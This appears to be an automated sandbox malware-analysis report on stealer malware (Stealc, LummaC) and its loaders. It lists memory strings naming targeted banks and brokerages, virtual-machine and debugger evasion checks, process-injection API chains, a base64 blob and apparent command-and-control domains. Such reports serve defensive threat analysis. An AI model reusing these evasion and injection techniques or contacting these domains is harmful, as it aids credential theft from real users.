Source: Nework.exe, 00000012.00000002.2833088082.000000000176B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{5)
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: axplong.exe, 00000006.00000002.3526057863.0000000005960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a.rdata$.refptr.__xi_z.rdata$.refptr.__xi_aWinMainCRTStartup.l_startwmainCRTStartup.rdata$.refptr._gnu_exception_handler.rdata$.refptr._matherr.CRT$XCAA.CRT$XIAA.debug_info.debug_abbrev.debug_loc.debug_aranges.debug_ranges.debug_line.debug_str.rdata$zzz.debug_frame__gcc_register_frame__gcc_deregister_frameIsRunningAsAdminRestartAsAdminIsProcessRunningMonitorAndLaunchProcessIsVirtualMachinecheck_device_infoCheckForVirtualMachineIsAnotherInstanceRunningCopySelfToTempExecuteCommandget_os_nameget_system_infobase64_encodebase64_decodeexecute_command_from_responsesend_post_request__do_global_dtors__do_global_ctors.rdata$.refptr.__CTOR_LIST__initializedmy_lconv_init__security_init_cookie.data$__security_cookie.data$__security_cookie_complement__report_gsfailureGS_ContextRecordGS_ExceptionRecordGS_ExceptionPointers__dyn_tls_dtor__dyn_tls_init.rdata$.refptr._CRT_MT__tlregdtor__mingw_raise_matherrstUserMathErr__mingw_setusermatherr_decode_pointer_encode_pointer__report_error__write_memory.part.0maxSections_pei386_runtime_relocatorwas_init.95200.rdata$.refptr.__RUNTIME_PSEUDO_RELOC_LIST_END__.rdata$.refptr.__RUNTIME_PSEUDO_RELOC_LIST__.text.unlikely.xdata.unlikely.pdata.unlikely__mingw_SEH_error_handler__mingw_init_ehandlerwas_here.95039emu_pdataemu_xdata_gnu_exception_handler__mingwthr_run_key_dtors.part.0__mingwthr_cskey_dtor_list___w64_mingwthr_add_key_dtor__mingwthr_cs_init___w64_mingwthr_remove_key_dtor__mingw_TLScallbackpseudo-reloc-list.c_ValidateImageBase.part.0_ValidateImageBase_FindPESection
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: RegAsm.exe, 0000000B.00000002.3536050802.0000000005DD7000.00000004.00000020.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3060091921.0000000006DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003703000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003657000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032EB000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000033C7000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000357D000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003776000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.00000000031D9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000003007000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.000000000312D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	Binary or memory string: xmlphpvlczpl wpl xpacketimport hrefXML:NAMESPACEaid DOCTYPE ELEMENT ENTITY -- <mdb:mork:zAFDR aom saved from url=(-->xmlns=jobwmlRDFnzbsvgkmlgpxCaRxslJDFrssRSStagTAGXMIlmxloclogIMGtmxosmX3DVERCFLRCCncxxbkSCFrtcpseSDOmapnviofcasxdivLogopmlsmilrootpgmlxfdfXFDLBASEtei2xbeljnlpdgmlfeedFEEDinfobeancasevxmlsesxnotesitetasklinkxbrlGAEBXZFXFormqgisSMAIHDMLjsonpsplbodyheadmetadictdocuembedplistTEI.2xliffformsQBXMLTypeseaglehtml5myapptablestyleentrygroupLXFMLwindowdialogSchemaschemacommonCanvaslayoutobjectFFDataReporttaglibARCXMLgnc-v2modulerobloxXDFV:4Xara3DLayoutRDCManattachwidgetreportSchemewebbuyloaderdeviceRDF:RDFweb:RDFoverlayprojectProjectabiwordxdp:xdpsvg:svgCOLLADASOFTPKGfo:rootlm:lmxarchivecollagelibraryHelpTOCpackagesiteMapen-noteFoundryweblinkReportssharingWebPartTestRunpopularsnippetwhpropsQBWCXMLcontentkml:kmlSDOListkDRouteFormSetactionslookupssectionns2:gpxPaletteCatalogProfileTreePadMIFFileKeyFilepayloadPresetsstringsdocumentDocumentNETSCAPEmetalinkresourcenewsItemhtmlplusEnvelopeplandatamoleculelicensesDatabasebindingsWorkbookPlaylistBookFileTimeLinejsp:rootbrowsersfotobookMTSScenemessengercomponentc:contactr:licensex:xmpmetadiscoveryERDiagramWorksheetcrickgridHelpIndexWinampXMLrecoIndexTomTomTocen-exportAnswerSetwinzipjobmuseScorePHONEBOOKm:myListsedmx:EdmxYNABData1workspacePlacemarkMakerFileoor:itemsscriptletcolorBookSignaturexsd:schemadlg:windowFinalDraftVirtualBoxTfrxReportVSTemplateWhiteboardstylesheetBurnWizarddictionaryPCSettingsRedlineXMLBackupMetaxbrli:xbrlFontFamilys:WorkbookFictionBookdia:diagramdefinitionsNmfDocumentSnippetRootSEC:SECMetanet:NetfileCustSectionDieCutLabelPremierDataUserControljsp:includess:Workbookapplicationjsp:useBeancfcomponentparticipantSessionFilejasperReporthelpdocumentxsl:documentxsl:templatePremiereDataSettingsFileCodeSnippetsFileInstancetpmOwnerDataDataTemplateProject_DataTfrReportBSAnote:notepadFieldCatalogUserSettingsgnm:WorkbookLIBRARY_ITEMDocumentDatamso:customUIpicasa2albumrnpddatabasepdfpreflightrn-customizecml:moleculemuveeProjectRelationshipsVisioDocumentxsl:transformD:multistatusKMYMONEY-FILEBackupCatalogfile:ManifestPocketMindMapDiagramLayoutannotationSetLEAPTOFROGANSpublic:attachsoap:EnvelopepersistedQuerymx:ApplicationOverDriveMediaasmv1:assemblyHelpCollectionQvdTableHeaderSCRIBUSUTF8NEWw:wordDocumentPADocumentRootConfigMetadataBorlandProjectDTS:ExecutableMMC_ConsoleFilelibrary:libraryglade-interfacerg:licenseGroupdisco:discoveryAdobeSwatchbookaudacityprojectoffice:documentCoolpixTransfersqueeze_projectwirelessProfileProjectFileInfowsdl:definitionsScrivenerProjectfulfillmentTokenkey:presentationdynamicDiscoverylibrary:librariesClickToDvdProjectDataCladFileStorechat_api_responseMyApplicationDataKeyboardShortcutsDeepBurner_recordXmlTransformationdata.vos.BudgetVOIRIDASCompositionpresentationClipsoor:component-datalibraryDescriptionPowerShellMetadataResourceDictionaryxsf:xDocumentClassoffice:color-tableVisualStudioProjectActiveReportsLayoutwap-provisioningdocAfterEffectsProjectoor:component-sch
Source: penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe`,
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: axplong.exe, 00000006.00000002.3526057863.0000000005960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CheckForVirtualMachine
Source: file.exe, 00000000.00000002.2227763808.0000000000D55000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2262996473.0000000000405000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2276480670.0000000000405000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: stealc_default2.exe, 00000017.00000003.2938911781.00000000274BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: RegAsm.exe, 0000001F.00000002.3201717209.0000000003263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05580C46 rdtsc

0_2_05580C46

Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe

Code function: 16_2_00507560 LdrInitializeThunk,

16_2_00507560

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 15_2_00407B01 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_00407B01

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0023645B mov eax, dword ptr fs:[00000030h]	6_2_0023645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0023A1C2 mov eax, dword ptr fs:[00000030h]	6_2_0023A1C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0041914C mov eax, dword ptr fs:[00000030h]	15_2_0041914C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004114A6 mov ecx, dword ptr fs:[00000030h]	15_2_004114A6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 15_2_0041EFD8 GetProcessHeap,

15_2_0041EFD8

Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00407B01 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00407B01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00407C63 SetUnhandledExceptionFilter,	15_2_00407C63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00407D75 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00407D75
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040DD78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0040DD78

Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: stealc_default2.exe PID: 3488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: needmoney.exe PID: 3360, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe, type: DROPPED

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Memory allocated: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe

Code function: 8_2_031624E9 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

8_2_031624E9

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop
Source: RegAsm.exe, 0000000F.00000002.2809221317.0000000000479000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: lootebarrkeyn.shop

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe

Section unmapped: C:\Users\user\AppData\Local\Temp\svchost015.exe base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 84F008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000	Jump to behavior
